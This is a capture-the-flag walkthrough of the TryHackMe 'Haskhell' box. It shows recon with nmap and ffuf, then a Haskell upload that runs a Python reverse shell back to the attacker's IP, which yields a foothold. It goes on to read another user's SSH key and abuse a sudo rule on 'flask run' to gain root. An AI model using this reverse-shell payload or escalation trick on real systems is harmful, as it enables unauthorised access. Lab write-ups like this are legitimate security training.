Haskhell - THM

Haskhell, is a medium rated box. Initial foothold gained by exploiting a webapp and privesc obtained by misusing sudo access

Haskhell - THM
Haskhell, is a medium rated box. Initial foothold gained by exploiting a webapp and privesc obtained by misusing sudo access

Recon

nmap

Start of the box with a nmap scan to identify what services are running on the box, including the version of the service.

~ took 3s [I] ➜ nmap -sC -sV -Pn 10.10.6.94
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-18 15:58 PDT
Nmap scan report for 10.10.6.94
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)
|   256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)
|_  256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)
5001/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.60 seconds

From the scan we identified two services running:

  • ssh : running on port 22
  • webserver : running on port 5001

ffuf

ffuf is web fuzzer written in golang. We use this to identify files and directories that are hidden from the user view

~ took 2m 33s [I] ➜ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.6.94:5001/FUZZ -ic -c -t 100 -o dir.txt          

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.6.94:5001/FUZZ
 :: Output file      : dir.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

                        [Status: 200, Size: 1471, Words: 251, Lines: 16]
submit                  [Status: 200, Size: 237, Words: 48, Lines: 9]

From this scan we have identified one file

  • submit

Enumeration

Web

Now that we browse the website, there is a link to another page

There is also another link, on this page, however the page returns a 404.

By reading that statement it is suggested that we can upload a program, which will then be compiled and executed by the server, making this a vulnerability.

Therefore to exploit this vulnerability, we can create a malicious haskell script that would enable us to create a reverse shell

Foothold

The malicious script was created after reading and completely understanding haskell, just kidding it is a hack by reading stackoverflow and haskell library pages.

module Main where

import System.Cmd

main = system "export RHOST=\"10.2.22.5\";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")' "

This is a haskell file with a python based reverse-shell that once executed will connect back to the litsening netcat client

~ [I] ➜ nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.2.22.5] from (UNKNOWN) [10.10.6.94] 42416
$ id
id
uid=1001(flask) gid=1001(flask) groups=1001(flask)

We now have access as flask on the system

Now that we have a reverse shell, we can generate our own ssh keys and copy them to the authorized_keys file for a proper shell

ssh -i ssh/haskhell [email protected]

We can now start looking for any lax permissions that will allow us to view files and folder that we are not supposed to

flask@haskhell:~$ ls -la /home
total 20
drwxr-xr-x  5 root    root    4096 May 27 17:29 .
drwxr-xr-x 24 root    root    4096 May 27 17:12 ..
drwxr-xr-x  8 flask   flask   4096 Jun 18 20:19 flask
drwxr-xr-x  7 haskell haskell 4096 May 27 19:08 haskell
drwxr-xr-x  7 prof    prof    4096 May 27 19:07 prof

From the previous command we see that we have execute and read permissions for the other group, meaning that we can list directories and read files, hence the first flag

flask@haskhell:~$ cat /home/prof/user.txt 
flag{...}

Privilege Escalation

As seen previously, that we can view files and folder of other users, we can try grabbing any ssh keys that are accessible for other user for privesc and luckily the prof directory allows us to read the ssh keys

We can now grab the id_rsa and ssh in as the prof user

prof@haskhell:~$ id
uid=1002(prof) gid=1002(prof) groups=1002(prof)

Checking whether prof has any sudo permission, surely enough he has sudo permission on the flask binary

prof@haskhell:~$ sudo -l
Matching Defaults entries for prof on haskhell:
    env_reset, env_keep+=FLASK_APP, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User prof may run the following commands on haskhell:
    (root) NOPASSWD: /usr/bin/flask run

So we can create our own malicious flask app to escalate to root

from flask import Flask  
import os
app = Flask(__name__)  
@app.route('/')
def hello_world():
    os.system('sudo su root')
    return "hello world"

The os.system function is where we instruct the application to give us a bash shell once we hit the index page, hence we go a different terminal

  • first we run flask sudo
  • secondly, we browse the page
  • Now we have root access

Lessons Learned

Haskell even though is a functional programming language, it has access to execute system commands